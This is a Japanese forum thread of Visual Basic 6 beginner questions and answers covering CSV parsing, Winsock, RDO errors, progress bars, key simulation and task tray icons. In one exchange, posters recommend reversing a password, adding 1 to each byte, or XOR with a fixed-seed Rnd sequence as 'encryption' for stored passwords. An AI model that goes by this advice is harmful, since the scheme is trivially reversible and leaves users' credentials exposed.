ただし、事前にMediaPlayerを起動して何らかのファイルを再生していれば真っ黒にならずに
コピーできます。これってなぜなんでしょう？またこんなことがおきない別の方法があればれ
レクチャーお願いします。

>>152
任意の行数を得る方法を知りたいの？
自分の場合、すごく苦しいかもしれないけど、
一度ファイルを開いて、行数をカウンタ＝kして
Redim hoge(k)　as integer
と宣言しなおして行数を得ている。

もし、CSVを分解して代入する方法を聞いてるとしたら、
Mid 関数、Instr関数、を使えば十分分解格納できる。

>152
長さ未定義の配列にsplit..ではダメ？

>>156
　動的配列じゃね？

　Dim intI　　　　Integer
　Dim strA()　　　String

　intI = 0
　Do While なんたらかんたら
　　ReDim Preserve strA(intI)
　　strA(intI) = "ほにゃらら"

　　intI = intI + 1
　Loop

とかやりたいの？質問の意味が理解できんかった。。。ｺﾞﾒｿ

>>148
えと、DateとかEndは予約語なんでクラスのメンバ変数に使えないような。
あとInputステートメントはデータをObject変数に格納できなかったハズ（?）なんで
代入用の変数を用意しる。

Dim Scedules As New Collection
Dim newScedule As Scedule
Dim lintDate As Integer
Dim lintStart As Integer
Dim lintEnd As Integer

Open "Hoge.csv" For Input As #1
Do Until EOF(1)
Set newScedule = New Scedule
Input #1, lintDate, lintStart, lintEnd
newScedule.nDate = lintDate
newScedule.nStart = lintStart
newScedule.nEnd = lintEnd
Scedules.Add newScedule
Set newScedule = Nothing
Loop
Close #1

取り出すときは、Itemメソッド
Scedules.Item(n).nDate
もしくは、

' For Each newScedule In Scedules
' Debug.Print newScedule.nDate, newScedule.nStart, newScedule.nEnd
' Next
動くと思う。長くてｽﾏｿ。

>>158
つられてDim文でNewしてしまたケドあんまりオススメできない(w

VBでＧＰＩＢを制御するために・・・

ＶＢで　ＧＰＩＢの制御をしようと構築中です、
なにか良い雑誌や本などありましたら、教えていただけないでしょうか？

VBでＧＰＩＢ制御するためには、やはりハード側の命令セットみたいなものも
理解する必要があるとおもうんですが、もし、その命令がわからないばあい
実際に試行錯誤を繰り返しながら、ためさないと　いけないんですかねぇ

今　やろうとしているのは、簡単な移動装置です。
顕微鏡なんですが、この装置を遠隔的に、ＷＩＮＤＯＷＳから
操作しようと思っております、

なにかご意見いただける方いらっしゃいますか？

メインから移動してきました　よろしくお願いします

>>160
GPIB カード（高いよ〜〜）にドライバがついてねーか？

ドライバついてるんですけどね〜
その関数やらの使い方はなんとなーくわかるんですけど

結局のところハードに送信する命令自体がわかんないと
どうしようもないかもしれないんです。

ＧＰＩＢの命令って統一されてるんですかねぇ〜
なんか装置のメーカに問い合わせても
いい反応なさそうだし・・・
（某光学装置ｏｒカメラメーカー）

>>160
ttp://www2.gihyo.co.jp/books/bookinfo.asp?ID=4-7741-0940-1

この本見て計測器をコントロールするプログラムつくりましたが、
やはり命令の載っているマニュアルが提供されていないと辛いですね。

>>154　某MLからの転載

--ここから
はじめまして！この度本MLに登録させていただきました。よろしくお願いします。
で、私はまだ学生ですが勉強も兼ねてVB又はVCをいじっています。
今回はVBでMediaPlayerに表示される画像の静止画のキャプチャを考えていますが、
Bitbltでスクリーンコピーすると動画の部分だけが真っ黒になってしまいます。
また通常のメディアプレイヤーを起動し、何らかの動画を再生しておくと正常にキャ
プチャ
できます。メディアプレイヤーを起動しないでキャプチャする方法はありませんで
しょうか？
またBitblt以外でのキャプチャ法はありませんでしょうか？ご教授お願いいたしま
す。
--ここまで

>>162
>結局のところハードに送信する命令自体がわかんないと
>どうしようもないかもしれないんです。
どうしようもないす。
つか GPIB で制御出来る顕微鏡なんでしょ？
なのになんでコマンドリファレンスがついてないの？

>>155-159
どうもありがとうございました。
直接オブジェクト変数にではなく、変数に代入することでいけました。
あと予約語ばんばん使ってたり、ミスばっかでした…ご指摘ありがとうございます。
質問わかりにくくて済みません、勉強になりました。

>157
動的配列やね。さんくす
Dim strHoge()　As String
Dim CSVText As String

Do While EOF(1)
　strHoge= Split(CSVText,",")
Loop

で、勝手にRedimされるから便利。一個ずつ変数宣言なんて面倒で好かん
まぁどうでもいいんだけど。

VBでインターネットアプリを開発している初心者です。
Winsockコントロールを使ってTCPやUDPでやり取りして
いるデータのヘッダから、IPなどの情報を取得するには
どうしたらいいのでしょうか。

ご教授のほど、よろしくお願いしますm(_ _)m

「Winsock32.dll」でなく「Winsockコントロール」だよな
RemoteHost
RemoteHostIP
RemotePort
LocalHost
LocalHostIP
LocalPort
上記のプロパティを調べてみそ。
あと、GOOGLEで調べてみれば？サンプル一杯あるよ。

はじめまして、カズと申します。
今、VB6で暗号化アプリを開発しています。そこで暗号化はできるのですが、
復号化がうまくできません。Advapi32.dllが原因ではないかといわれたのですが、
誰かその辺のことについて知ってる方がいらっしゃいましたら、ささいなことでも
かまわないのでおしえてください。よろしくお願いします。

aaaasddfgfg

テキストファイルに何行データが入っているのを調べるにはどうしたらいいでしょうか
今のところ、Input LineをEOFまでやって、そのカウントを取ることで実現していますが
もっとスマートな方法がありましたらお願いいたします。

>>172

Input Lineって改行コードを調べる関数？
だったらそれが一番スマートだと思うけど。

>>169さん、レスありがとうございます！

例えば、UDPでデータを受け取った時に発生する
DataAraivalイベント中に

RemoteHost
RemoteHostIP
RemotePort
LocalHost
LocalHostIP
LocalPort

これらのプロパティを参照すれば、データを送って
きた相手のIPなどがわかる、ということなのでしょう
か。。。重ねての質問ですいませんが、よろしく
お願いします！

>>172
ファイルを全部読み込んで改行文字をカウント。
でも多分スマートじゃない。

>>175
これなら元の方がマシだと思う。
いっそ wc 拾ってきてそいつに数えさせるとか。

つーか、>>172の言うスマートってなんだろね。(w

アクセスのデータベースで、データの読み込み方法の質問です。
今、以下のよう感じで「名前がwao かつ 年が10」のデータを抽出しています。
Set RS = DB.OpenRecordset(" SELECT * " & _
" FROM Hoge " & _
" WHERE Name = wao AND Age = 10;")

これを分解して、まず名前がwaoのデータを全部抽出して、そのデータベースから
年が10のデータを取り出したいのですが、どうやればいいのでしょうか。

コントロールのDragModeを自動に設定し、
任意の場所にDrag&Dropすることで、
そのコントロールの位置を移動させたいのですが、
FormのDragDropイベントで取得する X, Y を Top , Left に設定しても
見当違いのところに移動します。

どうすればマウスのDrag&Dropで思った場所に
コントロールを移動できるのでしょうか？

>>178
なんでそんな事したいか不明だが...
素直にワークテーブルに書出したら？

こうやればいいのかと思ったんですが、やはりうまくいかないようです。
そもそもクエリーの意味を履き違えているんでしょうか。

Set QD = DB.CreateQueryDef("", " SELECT * " & _
" FROM Hoge " & _
" WHERE Name = wao;")
こうやってwaoのデータを抽出して
Set RS = QD.OpenRecordset(" SELECT * " & _
" FROM Hoge " & _
" WHERE Age = 10;")
さらに年が10を探す。

うーん。やっぱりコレが一番なんですか。
とにかく行数だけがわかればいいので、無駄に文字を取ってきているきがして
もっといい方法があるのかなと思ったんです。

>>182
固定長のファイルだったら簡単だけどねぇ。

今高校の研究課題でインベーダーゲーム作ってるんですけど、
プレーヤーの左右の動かし方のプログラミングがわかんないんです。
わかる方教えていただきたい！！ちなみにプレーヤーはコアファイター
です。敵がザクちゃん

>>182
行数だけを調べたくても結局ファイルの中身は
全部調べないと駄目なんで何やっても同じ。
フォーマットを決めてるんなら別だけど。

気持ちは分かるが。(w

>>181=178
RecordsetのFilterプロパティ参照

あまりオススメしないけどね・・・

>>184
ttp://www.sala.or.jp/~itagaki/vb/kouza.htm

このスレはぼくのかいた駄目ソースのアドバイスも
もらえるんですか？

HTMLエディタを作ったんですが、ENTER押しても改行できません。
ここにソースをUPしたので、どこを直したらよいかアドバイス
お願い致します。

http://www2.makani.to/akutoku/upload/index.html

>>174
亀レススマソ
>データを送って
>きた相手のIPなどがわかる、ということなのでしょう
RemoteHost　　→　接続先のホスト名
RemoteHostIP　→　接続先のIP
RemotePort　　→　接続先のポート
だよ。もちろんこの値をDataAraivalイベントで拾えば
送信元の情報になるね。

Winsockコントロールを使ったUDP通信のサンプルは
ここを参考にしてみてくれ。
ttp://www.comel.or.jp/%7Eakira/soft/udp_s1/udp_s1.html

>>190=168さん、大感謝です！！！
お教えいただいた事とサイトで、さらに
通信プログラムを勉強したいと思います。
ありがとうございました！

リストボックスの中のフォントサイズをコンボボックスを使って変更したいのです
が、変更するたびにリストボックスの高さが縮んでしまいます。
リストボックスの高さを変えずに、画面上でフォントサイズを変える方法を
教えてください。

データベースからＳＱＬでデータを取ってくるのをやってんですけど、
あんまり件数が増えると、取り出すのにえらい時間がかかって、
ハングしたかと思っちまいます。
そこで、よく市販アプリのインストール時に出るような、
残り処理時間ゲージを付けたいんですけど、
ＶＢでできますでしょうか。
よろしくお願いします。

>>192
フォント変えるたびにリストボックスのサイズも設定しなおせば？
でもリストボックスだと勝手に補正されちゃうんだよね。
リストビューだとサイズはかわらんよ。

＞193
プログレスバーじゃ不満？

>193
とりあえず、データベースからそこまで沢山のデータを
一気に取り出す必要があるのかという事から考えた方が
いいと思われ。
抽出条件つけるとかして件数を絞り込むとか...

WinXP(HE)でも使えるVB6のランタイムってありますか？
MEの時までは使えてたソフトが使えなくなってしまって困ってます。
通常のバージョンアップでは使えていたんですが、
フォーマットして最初からインストールしたらランタイム系が
軒並みインストールできなくなってたんです。

>>195、>>196
レスありがとうございます。
データの抽出件数に関しては、仕事上、仕方ないのです。
これでも出来る限り不必要なデータ抽出げずったんですよ・・・。

あと、プログレスバーコントロールってのは、どこから
出すんでしょうか。参照設定にそれらしいの無いんですが・・・？

>>198
自分で見るだけならステータスバーの使用をお勧め。
SysCmdで文字とかステータスバーのプログレスの
表示を操作出来る。

んで一応、プログレスバーはフォームデザイン画面で
ツールバーのコントロールの選択→MicroSoft Progress Bar
を選んで配置すると使える。

VBAのフォームって個人的に好かんけど。

>>198-199
VBじゃなかったっけ？なら
Microsoft Windows Common Controls 6.0 (MSCOMCTL.OCX)
TextBoxやLabelのなかに一回り小さい色の付いたLabelを配置して
Widthを少しずつ増やしていくだけでも代用できますが。

そんなにレコード数多いの？
何分もかかる様なら％も表示したほうがよさげか

>>199
ありがとうございます。

＞んで一応、プログレスバーはフォームデザイン画面で
＞ツールバーのコントロールの選択→MicroSoft Progress Bar
＞を選んで配置すると使える。

ツールバーってのはツールボックスのことでしょうか（あの「TextBox」とか
のアイコンがある）。デフォルトでは、そのコントロールは無いっぽいです。
うう。

>>200
お、ありがとうございます！

＞Microsoft Windows Common Controls 6.0 (MSCOMCTL.OCX)
これが何か分かりません。ヘルプでも出ないんですが？

レコード数もさることながら、仕事場のPCの性能がアレで
小一時間かかったりもします。マジでハングったりも。

>>202
そのツールボックスを右クリックしてコンポーネントをクリック。
もしくはいきなりCtrl+Tで出てくるYO。

インデックス張ったりSQL見直したりは・・したよね(w
>レコード数もさることながら、仕事場のPCの性能がアレで
うちはその点最低でもCerelon400だから助かってます。

199でなくて200。騙ってしまった。
鬱氏。

最近VBはじめました。。
ほんとうにくだらないことで申しわけないのですが、
Formの縁を無くすにはどうしたら良いのでしょうか。
FormのAppearanceを0にもしたのですが、
やはり外側に3Dっぽい縁が出来てしまうんです。

>>205
AppearanceでなくBorderStyle。

>>203
ありました。ありがとうございます。
ちょっと研究してみます。
申し訳ないのですが、分からなかったらまた聞きに来ます。

あと、インデックスも張ってますし、SQLも改良しました。
実は、もともと、他人が作ったもので、その人に
「適当に使いやすくして使って」って言われているものなのです。
僕、初心者なのになー・・・。

>>202
>ツールバーってのはツールボックスのことでしょうか
>（あの「TextBox」とか のアイコンがある）。

コントロールの選択ってのはツールバーの中にある、
「TextBox」とか、「Label」とかと一緒に､
「コントロールの選択」ってのがあるんよ。
（一番右下。）

分かりにくかったかな？ｽﾏｿ。

>>204
気にすんな。(w

>>206さま
ありがとうございます。0にしたら無くなりました。
ちなみに、その状態でタイトルバーだけ表示って
無理ですか？

連続ですみません。
Formの出現位置を画面右上や、画面右下とかには
出来ないでしょうか？

>>210
Screenオブジェクト、StartUpPositionプロパティあたりを調べてみて。

>>209
は、ちょっと必要な状況を想像できません。

>>209

無理。移動したいなら、WM_NCHITTESTを使いましょう。

えーと、VBで「箱入り娘」（知ってます？ボードゲームです）
を作りたいのでありますが、どんなコントロールを
使えばいいのやら皆目見当もつきません！
ご教授ねがいます！以上っ！（敬礼）

>>213
VC か Delphi で「箱入り娘」コントロールを作ってもらって
それを VB に張れば１分で完成。

>>213
それだけでは教えたくてもさっぱり分からん。

もうちょっとこんな感じでこうしたいとか･･･
詳しく書こうぜ。

Label.Captionの中に書く文字列の行間を調節する方法は
ないでしょうか？

213
>>215
すみませんでした。
えーと、現状では、「娘」とか「父」とかいう文字を書いたimageコントロールを
フォーム上でマウスでドラッグアンドドロップで移動させることは
できたんです。でも、きちんと枠内でその一つ一つの「駒」を移動
させ、移動できない方向には移動させない、といった制御が難しくてできません。
でも、なにも制限がなかったらゲームにならない（当たり前ですが）ので、
そのimageコントロールの動きを制御しなければ「箱入り娘」になりません。
214さんの言うように、「箱入り娘」コントロールみたいなものはあれば、
簡単なんですけど・・・。
どうやったらいいのでしょうか？

txtのある部分を変更させるにはどのようなコードを使えば良いんですか？
一応、line inputで一行ずつtxtを文字変数として読み込んで
InStrで場所を特定して・・って感じで考えているのですが

>>217
その箱入り娘ってのがどんなのかは知らないけど
移動先の枠の座標は分かるよな？
で、移動できる枠と移動できない枠も分かるよな？

そしたら、移動完了の時に判定できるでしょ。
移動できないんなら元に戻す､みたいなかんじで。

>>218
MID$ステートメントで指定位置の文字を変更できるけど。

＞217
将棋やオセロと同じで、マス目を配列変数で用意する。
何もいなければ０、何かいれば１にする。
１点の位置が決まれば、大きさや形にしたがって、
いくつかのマス目も１になる。
もし動き先が１なら、そこには動かせないということになる。

マウスカーソルが重なった時のみ、
テキストボックスの色を変えたいです。
テキストボックスのMouseMoveイベントに色変えるの書いたのですが、
カーソルが外出た時に色戻すイベントの取り方がわかりません。
お願いしますー。

>>219,221
どうもありがとうございました。

>>216
PictureBoxを使って自前で描画してはどうでしょう。

"Alt+Retrun"でフルスクリーン化するプログラムに対して
"Alt+R"を押したら、Retrunを押したというメッセージを送りたいのですが、
上手くゆきません。
keybd_event(vbKeyReturn,0,0,0)を使ってやってるのですが、
フルスクリーン化してしまいます。
どうすればよいでしょうか？

アゴ。

サゴ。

DOS窓で　call c:\test.exe abc
などと入力してプログラムの起動時に引数を渡す処理を、
VBで行うには、どうすればいいのでしょうか？

>>228
Shell関数を使ってはどうでしょうか？
ヘルプで探してみてください。

あ、もしかして引数をVBでつくったアプリに渡す方法でしょうか…

渡された引数を確認するには、
Command()

説明が下手でしたね。
VBで作ったアプリで、他のアプリに引数を渡す方法です。
ご指摘の通り、Shell関数で簡単に出来ました。（汗
ありがとうございます。

>>222
FormのMouseMoveイベントで色を戻す処理を書く。

CallWindowProcAってマウス関連にしか使えないの？

すみません。教えてください。

メニュー画面のフォームからコマンドボタンをクリックし、次のフォームを
表示させるには、どういうコーディングをすればいいのでしょうか？？

メニュー画面も次の画面も用意してｘｘｘｘ.ｓｈｏｗと指定しているのですが
（参考書にはこれで展開すると・・・）うまくいきません。

「Retrunを押したというメッセージを送る」というのはうまくいってますよ。
ただそのときに既にALTが押されているので"Alt+Retrun"でフルスクリーン化
という動作になってしまっているのでしょう。

keybd_event(vbKeyReturn,0,0,0)
の前に
Public Const KEYEVENTF_KEYUP = &H2
keybd_event(vbKeyMenu,0,KEYEVENTF_KEYUP,0)
なんかやってみたらどうでしょう。
（試してませんがうまくいけばめっけものです。）

それかReturn押下時の処理を関数化し、"Alt+R"押下時に
その関数を呼ぶとか。（ベタですが．．．）

「Retrunを押したというメッセージを送る」というのはうまくいってますよ。
ただそのときに既にALTが押されているので"Alt+Retrun"でフルスクリーン化
という動作になってしまっているのでしょう。

keybd_event(vbKeyReturn,0,0,0)
の前に
Public Const KEYEVENTF_KEYUP = &H2
keybd_event(vbKeyMenu,0,KEYEVENTF_KEYUP,0)
なんかやってみたらどうでしょう。
（試してませんがうまくいけばめっけものです。）

それかReturn押下時の処理を関数化し、"Alt+R"押下時に
その関数を呼ぶとか。（ベタですが．．．）

>>235

>ｘｘｘｘ.ｓｈｏｗ

・ｘｘｘｘの名前が違う。
・showが全角

perl なら、関数に配列を渡す場合、

$date = "2001/12/11";
@job = ("mail","meeting","test","coding","design");## PERLの配列

myfunction( $date, @job);

sub myfunction{
my ($str, @array) = @_;

## 以下省略

}

なんて形にするけど、VB だとどうなるのか教えてください。

ヘルプはたくさん書いてあるわりには検索に時間がかかるばかり
でぜんぜんわかんねー。

>>239

配列の先頭アドレスを渡す。

>>239
ParamArray使う。

VBの簡単な修正を頼まれてソースを渡されました。しばらく放置していて
そろそろ手をつけるかとプロジェクトを読み込み、デバッガで走らせようとしたら
RDOの関係のモジュールがすべてエラーになってしまうのです。
参照設定では、MSRDO20.DLLはちゃんと指定してあるので困りました。
Win2K(SP2)+VB6(SP4)の環境です。渡された当初は当然ですが問題なかった。
最近やった大きいことはというと、IEを6.0にしたことと、Delphyパーソナルを
入れたことか。
助言を願います。馬鹿ですみません。

>>241

参照がわはaramArrayを使えばいいのはわかったけど、
参照元はハードコーディングでなく呼び出す方法はないの？

知ってる人、おしえてくださーい。

>>243
こんなんダメ？
private function Job(str() as string) as Variant
Job=str
end function

悲しい。あせる。すぐに手をつければよかった、ってのも意味がないか。
rdoErrorsやrdoConnectionのデータ定義からしてだめ。
オブジェクトブラウザーにRDOは見えているのに。
とりあえず、VisualStudioのSP5を落としながらWebサーチをします。
お心当たりあれば引き続きよろしくお願いします。

>>245
ｴﾗｰNoと内容を見せれ

>246 ありがとう。
Error$を評価すると、
"コンパイルエラーsubまたはFunctionが定義されていません。Error35"
が帰ってくる。
DLLの参照に関するエラーでしょうけど、MSRDO20.DLLは「ある」し「指定されている」
んですよ。悩む。

http://www.microsoft.com/japan/developer/data/

>>248
お、とりあえず、これも落として入れてみます。回線がのろまでSP5がまだですが、
双方を落として、入れてから、また報告します。ありがとう。少し希望か？

>>233
ありがとうございます。
でも、すでに試してますが、それダメでした。。。
なんで戻らないんだろう。
てか、なんでMouseOutイベントが無いんだろう。

if text1.width < x then
色がえ
end if

とかじゃだめ？

VisualStudioのSP5とMDAC2.7を読み込ませたら直りました。お騒がせしました。
原因は不明ですが ^^;
急がば回れで、こういうときは、すんなりと開発環境のアンインストールと
再インストールをやってしまうのが時間のロスも神経をすり減らすのも少ないか。
知恵はつかないままだが。

2000･NT系でCPU使用率を得られるらしい
NtQuerySystemInformationの宣言とか引数、戻り値を教えてくだされ

海外サイトで
NtQuerySystemInformation (SYSTEMINFOCLASS sic,
PVOID pData,
DWORD dSize,
PDWORD pdSize);
というのを見つけて、自分で書いてみたのがこれ
Public Declare Function NtQuerySystemInformation Lib "ntdll" _
( , pData As Any, ByVal dSize As Long, ByVal pdSize As Long) As Long
↑ここに入るのは分からん

VB自体始めて日も浅いし、上のも間違ってるかも
ダレか教えて下さい

>>237
ありがとうございます。
ご指摘の通りやってみたのですが、なぜか上手くゆかないときがあります。
上手くゆくときもある、というのが謎なのですが、Altキーは押しっぱなし状態で
keybd_event(vbKeyMenu,0,KEYEVENTF_KEYUP,0) とやっても
次回のGetKeyState()呼び出しのとき、Altキーが押されていると認識
されているみたいなので、
keybd_event(vbKeyMenu,0,KEYEVENTF_KEYUP,0)
keybd_event(vbKeyReturn,0,0,0)
この２つの命令の間で、Ａｌｔが押されたメッセージが送られるてるのでは
ないかと思ってます。
一気に、リターンだけしか押されていないという状態を送るような便利な
関数はないでしょうか？

>>251
ありがとうございます。
しかし、それどこに書けば良いのですか？
つか、マウスオーバーでwidthが変わるんですか？

>>255
MouseMoveで、マウスの位置のxはテキストボックスの幅width
を超えることはありえるかなと思ったもので。
確かスプリットバーを作ったときは、できたような気がする。

>>256
それって、ドラッグの最中だけじゃないですか？

>>222
タイマーでGetCursorPosして判定とかは。

どんな解像度でもフォームを画面の中心に表示できるようにしたいのですが
Form2.Left = (Screen.Width - Form2.Width) / 2
Form2.Top = (Screen.Height - Form2.Height) / 2
とやってもうまくいかないんです。どうすればいいのでしょうか？

もう一つお願いします
パスワードがない状態では利用できないようにしたいのですが
テキストファイルを読んでパスワードと一致するか比較して
違ったらExit subとする、ぐらいしか思いつかないのですが
もっとスマートな方法はあるのでしょうか？

>>258
Formのロードイベントの所にそのコードをコピペして試したけど、
きちんと動いたよ。

ところで、FormのStartUpPositionプロパティで「画面の中央」じゃ駄目なの？

>>259
基本的にはそれで良いかと思います。

パスワードを暗号化して保存するぐらいは
やったほうが良いかもしれませんが。

>>258
ScaleModeはTwipにしてある？

現在、ＶＢからクリスタルレポートを開く時、
参照先のＤＢ名を変更出来なくこまっています。
下記のコードのように幾つか試しているのですがうまくいきません。
ご存知の方がいらっしゃいましたら、是非教えて下さい。
バージョンは、VB6.0、Crystal Reports8.5
ＤＢは、ＤＢ２、バージョン７で、ＲＤＯ接続です。
初心者ではありませんが、どうかよろしくお願いします。

Dim Report As New CrystalReport1
Public rEn As rdoEngine
Public rEv As rdoEnvironment
Public rCn As rdoConnection
Public rRs As rdoResultset
Public sCnct As String
Public str_SQL As String

Private Sub test_Click()

sSQL = SQL_MAKE() 'SQL作成

sCnct = "DSN=DB2TEST2; UID=ADMINISTRATOR; PWD=******" ' システムDSN

Set rEn = rdoEngine
Set rEv = rEn.rdoEnvironments(0)
Set rCn = rEv.OpenConnection("", rdDriverNoPrompt, False, sCnct)
Set rRs = rCn.OpenResultset(sSQL)

'レコードセットを与える
Report.Database.SetDataSource rRs, 3, 1
'システムDSNを与える
Report.Application.OpenReport("Report1.rpt").Database.Tables.Item(1).SetLogOnInfo (sCnct)

CRViewer1.ReportSource = Report
CRViewer1.ViewReport
CRViewer1.Zoom (2)

End Sub

>>222
テキストボックスにマウスが入ったら
キャプチャーして、出て行ったら色直して
解放してやるのが一番無難ではないかと思われ。

>254
Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
　
Debug.Print "Form_KeyDown"; KeyCode; Shift; GetKeyState(vbKeyMenu)
　
If KeyCode = vbKeyR And (Shift And 4) = 4 Then
　　Debug.Print "Enterを押下したことにする"; KeyCode; Shift; GetKeyState(vbKeyMenu)
　　Call KIS_keybd_event(vbKeyMenu, 0, KEYEVENTF_KEYUP, 0)
　　Call KIS_keybd_event(vbKeyReturn, 0, 0, 0)
　　Call KIS_keybd_event(vbKeyMenu, 0, 0, 0)
ElseIf KeyCode = vbKeyReturn And (Shift And 4) = 4 Then
　　Debug.Print "フルスクリーン"; KeyCode; Shift; GetKeyState(vbKeyMenu)
ElseIf KeyCode = vbKeyReturn And (Shift And 4) <> 4 Then
　　Debug.Print "Enter押下時の処理"; KeyCode; Shift; GetKeyState(vbKeyMenu)
End If
　
Exit Sub
　
どうもGetKeyStateは254さんの思ったとおりの動作をしていないようです。
使用しないほうがよさげ。

>>262
ScaleModeは関係ないかと

>>266
確かに。ｽﾏｿ。鬱氏。

>>260,262さん
＞ところで、FormのStartUpPositionプロパティで「画面の中央」じゃ駄目なの？
これで解決しました。勉強不足でした。

>>261
>パスワードを暗号化して保存するぐらいは
暗号化とはどういうことをするのでしょうか
初心者ですので、もしできれば詳しく説明してただければと思います
レスサンクスです

>>268
初心者だからと行って何でも許されるわけではない。

>>268
パスワードを逆にしたり全バイト1足したり
Xor使ったり色々。
要は暗号化後には暗号前が分からなくすれば良い。

どう実装するかは自分で考えようね。

vb5.0エンプラ版+SQLserver7.0スタンダード版で開発しているのですが、
接続しているデータベース・テーブルが更新・追加等された際の
イベントってあるんでしょうか？

これがわからない為に、ロード時にadodb.connectionを
バインドして、タイマー毎にadodb.commandでsp_whoやsp_lock、自前の
ストアドを走らせて確認し、イベントを発生させています。

ここが出来れば、ADO関係はActiveXDLLにして
実行プログラム自体にはraiseeventしてやるだけで
済むので大分楽になるなーっていう手抜きしたさのみでこれに
ついて調べています。

日本語が不自由ですみませんがこの辺実践してる方
いましたらご教示ください。お願いいたします。

すみません‥sage‥

問題外の質問と言われそうですが
暗号化の目的がよく理解できないんですが
例えばパスワードが１２３４としたら
テキストファイルには４３２１と書いて保存すると言うことですよね
１２３４と暗号化しないで書いても特に不都合はないように思うのですが

>>273
パスワードなんて物騒なもんが平文でその辺に置いてあることの
危険性が理解できない奴の作ったプログラムなんか使えねえよ。

便乗で、暗号化教えて。
XOR演算でやってみたけど、いまいちうまくいかないです。

日本語を暗号化するときも、表示可能な文字に暗号化したい。
暗号前の文字列が長さ0の時でも、暗号化ルーチンを見破られないようにしたい。

自前より、APIのCryptを使ったほうがいいのかな。

>>273
んじゃあ、オマエのインターネットのIDとパスワード教えろ（ｗ

>>275
例えば、8bit×3をxorしたあと、6bit×4として取り出せば必ず表示可能な
範囲に収まる。

>>268
unixのパスワードなんかは暗号化して保存しているから
その辺を調べてみると参考になるかもしれません。

簡単なサンプル。

'復号化は自分で作ってね。
'パスワードが正しいか判定するだけなら、ユーザが入力したパスワードを
'暗号化して、ファイルに保存してある暗号化パスワードと比較すれば判定
'できるから、必ずしも復号化は必要じゃないけどね。

Function crypt(src As String) As String
Dim l As Long, i As Long, ret As String, c As Long
Rnd -123
l = Len(src)
For i = 1 To l
c = Asc(Mid$(src, i, 1)) Xor Int(Rnd * &H10000)
ret = ret & Right$("0000" & Hex$(c), 4)
Next
crypt = ret
End Function

>>275
>暗号前の文字列が長さ0の時でも、暗号化ルーチンを見破られないようにしたい。
長さが一定以下なら末尾にゴミを突っ込んでから暗号化するとか。

ありがとーう やってみます。
DB接続のユーザ名とパスワードをIniファイルに保存したかったもので。

誤)KIS_keybd_event
正)keybd_event
ｳﾂ...

解決しました、
お騒がせして申し訳ありませんでした。

すいません、ファイルを読み込んで１バイトずつループまわして
文字列を比較してきたいんですけど、うまくいきません。
MidB$とかやっても内部でUniCodeしてるみたいなんで。
助けてください。

>>283

dim wk() as byte
wk()=Strconv( "文字列",vbFromUnicode )

後はバイト配列を一つづつ比べれ。
バイト配列の最大はubound(wk())とかやで。

>>283
ファイルを読み込むにはInputかGetを普通使うが、
どちらを使うかでUnicodeとANSIに分かれる。
注意しようね。

最小化した時、右下のタスクトレイに格納される様に
VBでできますか？

>>286
できる。API必須。

>>283
文字列だったら
line inputで行単位でとって
ただのmid()で文字数分まわして
やればいいんじゃないでしょうか？
違ったらすみません。

>>287
できれば、モスウコ氏具体的にやり方など教えてくださいませんか・・・？

モウスコ氏って誰だ・・・。「もう少し」です。鬱・・・。

よ、よく見たらモスウコ氏だ・・・。再鬱・・・。

>>286
まず、タスクトレイにアイコンを登録するために
Shell_NotifyIconが必要。

次にタスクトレイのクリックを取得するために
サブクラス化が必要。

サブクラス化には
SetWindowLongとCallWindowProcが必要。

んで、最小化の時にタスクトレイのアイコンを表示。
タスクトレイのクリック時にフォームを表示。

・・・ってな感じで。

サブクラス化もタスクトレイのアイコンの登録の仕方も
ネットに山ほどサンプルあるからGoogleあたりで検索してみな。

あと、落ち着け。(w

タイピングゲームに関することなんですが。
キーボード入力を取得するにあたり、それが「確実に」
キーボードから入力されたかどうかを判定する方法はあるでしょうか？
仮想キーコードを独自に送出するツールなんかからの
入力は無視したいんですが。
GetKeyStateは試してみましたが、うまくいきませんでした。
なんかハードウェアを直接制御するしかないのかなぁとか思ってるんですが。
（そのやり方もよく分かってませんが・・）

ＶＢでＷｉｎｄｏｗｓよりいいＯＳを作ています。
マルチスレトにするには、どのＡＰＩを使えばいいですか？
教えてくれたら人は、売れたらお金をあげます。
あと、デュアルＣＰＵのＡＰｉも教えてください。

>>278
サンプルまでありがとうございます
コピペして試しました

ただ、一つだけ
Rnd -123
これの意味がわからないです
あとは調べたら理解できました

>>295
乱数系列を初期化しています。
その行が有る時と無い時で
debug.print crypt("ABCDE") , crypt("ABCDE")
の出力を見比べると解ると思います。

>>284
>>285
>>288
どうもっす。やってみます。

ラーニングソフトではＤＢグリットが使えませんでした・・・。
アクセスで作成したＤＢを操作したいのですが、どうコーディングしたらよいのか
さっぱりわかりません。
参考書はＢＤグリットの使い方しか、載ってません。

具体的にしたいことは
１．ファイルをオープンし、データを追加する。
２．ファイルをオープンし、データを修正する。
３．ファイルをオープンし、データを削除する。
（なんそ命令が違うらしいと聞いたので）
４．クローズ

すいません、どなたか教えてください。

>298
そのやりたい操作とDBGridに何の関係が...?

ＤＢグリッとが使えると、コーディング量がぐっと減るし、
フォームでデータが関連付けできるから、楽なんです。

しかし、ラーニングではできない（プロフェッショナルならできるんだけど）
ので、教えてもらいたいんです。

...ネタ?

ネタではなくて、困ってるんです。

ＤＢグリッとがあれば、オープンもクローズもしないで
ＤＢへ書き込んで、次のレコードへブックマークセットして・・・
みたいなコーディングで終わるんでしょうが、
１対ＮでＮ側のＤＢをＤＢグリッと無しで操作しようとする場合、
ＤＢオープンして内容を操作してクローズするといった処理が必要になると
思うのですが、参考書はＤＢグリッとの使用方法しか載ってないんですよね。

だから、知っている人がいれば、教えてもらえたらなと・・。

ラーニングはプロフェッショナルに比べ、値段も安い分、機能も制限されています。
アクティブＸの機能は使えない。いたーいです。

ラーニングのVB使ってる人はじめてみた。
ちょっと感動。

>>304
おいらも使ってるよ。金が無かったんだよ。激しく後悔。

>>298
LearningEditionって、ほんと何もできないのね…。
使ってても学習になるのかどうか疑問だ。

すまんね、ADOもDAOも使わずにDB操作したことないんで
役に立てそうにないわ。

>302
...そうか。疑ってｽﾏｿね。

DBGridを使う場合、普通はデータコントロールを対にして使う。
折れはSQL鯖との組み合わせしか知らないけど一応参考にしてくれ。

まず、グリッドと対になるデータコントロール(ADODC)をフォームに貼り付ける。
んで、DBGridのDataSourceプロパティには連結するADODCを指定する。
ADODCには、接続するDBやテーブルに関するプロパティを設定してやる。

実行すると、ADODCの設定に応じてDBへのConnectなどが行われて
結果がGridに反映される。
こんな感じ。

ラーニングエディションって、
●カスタムコントロールが使用不可
●ネイティブコンパイルが使用不可
●配布不可
だったっけ？

